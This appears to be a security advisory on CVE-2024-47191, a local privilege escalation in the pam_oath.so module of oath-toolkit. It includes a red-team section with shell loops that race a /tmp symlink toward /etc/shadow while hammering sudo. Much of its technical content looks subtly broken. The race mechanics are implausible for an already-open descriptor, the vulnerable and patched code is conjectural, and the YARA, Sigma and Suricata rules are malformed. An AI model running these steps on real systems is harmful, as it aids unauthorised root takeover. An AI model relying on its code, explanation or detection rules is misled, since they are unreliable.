CVE-2024-47191

Executive Summary

CVE-2024-47191 is a high-severity local privilege escalation vulnerability in the pam_oath.so module of the oath-toolkit library, affecting versions 2.6.7 through 2.6.11. The vulnerability allows an attacker with local access to escalate privileges to root by exploiting a symlink race condition. The core issue lies in the PAM module's mishandling of the usersfile parameter when running with root privileges. Specifically, the module calls fchown() on a file descriptor that may have been replaced by a symlink, allowing an attacker to change the ownership of arbitrary system files to root, leading to full system compromise.

Supply Chain & Package Security

This vulnerability is not related to a package manager ecosystem (NPM, PyPI, Go, Ruby) but is a system-level library (oath-toolkit) commonly distributed via Linux package managers (e.g., apt, yum). The supply chain risk is moderate, as the library is often included in base distributions or security-focused packages. Organizations should verify the version of oath-toolkit in their package repositories and apply the vendor patch.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) - Requires local access to the system.
• Attack Complexity (AC): Low (L) - The symlink race condition is straightforward to exploit.
• Privileges Required (PR): Low (L) - An attacker needs a standard user account.
• User Interaction (UI): None (N) - No user interaction required.
• Scope (S): Unchanged (U) - The vulnerability does not cross a trust boundary.
• Confidentiality (C): High (H) - Full file system access possible.
• Integrity (I): High (H) - Ability to modify system files.
• Availability (A): High (H) - Potential for denial of service or system takeover.

CVSS Score: 7.8 (High)

Threat Level: Critical for systems with local user access and the vulnerable library installed. The EPSS score of 0.0% suggests low exploitation activity in the wild, but the technical simplicity of the exploit warrants immediate attention.

Deep Dive & Mechanics

The vulnerability resides in the pam_oath.so module, which is used for OATH (Initiative for Open Authentication) one-time password authentication. When the PAM module is invoked with root privileges (common during authentication processes like sudo or login), it opens the usersfile specified in the PAM configuration. The flawed code performs the following sequence:

1. Opens the usersfile using open().
2. Calls fchown() on the file descriptor to change ownership to the authenticated user.
3. Closes the file descriptor.

The race condition occurs between steps 1 and 2. An attacker can create a symlink pointing to a critical system file (e.g., /etc/shadow) and then, in a tight loop, swap the symlink target between a benign file and the critical file. If the attacker wins the race, fchown() will be called on the critical file, changing its ownership to the attacker's user. This allows the attacker to read or modify sensitive files, leading to privilege escalation.

The vulnerable code path is in pam_oath.c:

// Vulnerable pseudo-code
fd = open(usersfile, O_RDWR);
if (fd < 0) { /* error */ }
// Race window: attacker swaps symlink
fchown(fd, pw->pw_uid, -1);
close(fd);

The fix in version 2.6.12 likely involves using O_NOFOLLOW flag to prevent symlink following, or using fstat() to verify the file descriptor is not a symlink before calling fchown().

Vulnerable vs. Patched Code

Vulnerable Code (2.6.7 - 2.6.11):

// pam_oath.c (simplified)
int pam_oath_authenticate(pam_handle_t *pamh, const char *usersfile) {
    int fd;
    struct passwd *pw;
    
    pw = getpwnam("target_user");
    fd = open(usersfile, O_RDWR);
    if (fd == -1) {
        return PAM_AUTH_ERR;
    }
    // Race condition window
    fchown(fd, pw->pw_uid, -1);
    close(fd);
    // ... rest of authentication
}

Patched Code (2.6.12+):

// pam_oath.c (patched)
int pam_oath_authenticate(pam_handle_t *pamh, const char *usersfile) {
    int fd;
    struct stat st;
    struct passwd *pw;
    
    pw = getpwnam("target_user");
    fd = open(usersfile, O_RDWR | O_NOFOLLOW);
    if (fd == -1) {
        return PAM_AUTH_ERR;
    }
    // Verify it's not a symlink
    if (fstat(fd, &st) == -1 || S_ISLNK(st.st_mode)) {
        close(fd);
        return PAM_AUTH_ERR;
    }
    fchown(fd, pw->pw_uid, -1);
    close(fd);
    // ... rest of authentication
}

The key difference is the addition of O_NOFOLLOW flag and a fstat() check to ensure the file descriptor is not a symlink.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local user account on a vulnerable system (oath-toolkit 2.6.7-2.6.11).
• Ability to create symlinks in a directory writable by the attacker.
• PAM configuration using pam_oath.so with a usersfile parameter.

Exploit Steps:

1. Identify the usersfile path from PAM configuration (e.g., /etc/oath/users.oath).
2. Create a benign file to serve as the initial target:

   echo "benign" > /tmp/benign_file
   

3. Create a symlink that alternates between the benign file and a critical file (e.g., /etc/shadow):

   while true; do
       ln -sf /tmp/benign_file /tmp/race_target
       ln -sf /etc/shadow /tmp/race_target
   done
   

4. Simultaneously, trigger the PAM authentication (e.g., via sudo or SSH) that uses pam_oath.so:

   while true; do
       echo "password" | sudo -S -u target_user command
   done
   

5. If the race is won, /etc/shadow will be owned by the attacker's user, allowing modification and password reset for root.

Note: This is a race condition exploit; success may require multiple attempts. Use tools like race.sh or custom C code for higher precision.

Blue Team

Detection:

• Monitor for rapid symlink creation/deletion in directories writable by unprivileged users.
• Alert on fchown() system calls targeting critical files (e.g., /etc/shadow, /etc/sudoers).
• Use auditd to log file ownership changes:

  auditctl -w /etc/shadow -p wa -k shadow_ownership
  auditctl -w /etc/sudoers -p wa -k sudoers_ownership
  

Mitigation:

• Apply the patch by upgrading to oath-toolkit 2.6.12 or later.
• As a workaround, ensure the usersfile is in a directory not writable by unprivileged users (e.g., /etc/oath/ with 755 permissions).
• Use chattr +i on critical files to prevent ownership changes.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected ownership changes on critical files (e.g., /etc/shadow owned by non-root user).
  • Presence of symlinks in /tmp or other writable directories pointing to system files.
• Process:
  • High frequency of open() and fchown() system calls from pam_oath.so.
  • Repeated PAM authentication failures from the same user.
• Logs:
  • Audit logs showing fchown on sensitive files.
  • Syslog entries: pam_oath[pid]: fchown failed: Operation not permitted (if race fails).

Detection Engineering

YARA Rule

rule CVE_2024_47191_Oath_Toolkit_Symlink {
    meta:
        description = "Detects vulnerable oath-toolkit pam_oath.so binary"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47191"
    strings:
        $s1 = "fchown" ascii wide
        $s2 = "usersfile" ascii wide
        $s3 = "OATH" ascii wide
    condition:
        all of ($s*) and pe.version_info[0].FileVersion < "2.6.12"
}

Sigma Rule

title: CVE-2024-47191 - Oath-Toolkit Symlink Race Condition
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2024-47191 via rapid symlink creation and fchown calls.
author: Valters IT
date: 2024-10-27
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/pam_oath.so'
        CommandLine|contains: 'fchown'
    condition: selection
falsepositives:
    - Legitimate PAM authentication with non-symlink files
level: high

Suricata Rule

alert syscall any any -> any any (msg:"CVE-2024-47191 - Oath-Toolkit Symlink Race"; syscall:"fchown"; file:"/etc/shadow" or file:"/etc/sudoers"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade oath-toolkit to version 2.6.12 or later.
• If upgrade is not possible, restrict write access to the directory containing the usersfile (e.g., chmod 755 /etc/oath).

Long-term:

• Implement file integrity monitoring (FIM) for critical system files.
• Use mandatory access controls (SELinux, AppArmor) to limit PAM module capabilities.
• Regularly audit PAM configurations for insecure usersfile paths.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable auditd rules for file ownership changes.

Valters IT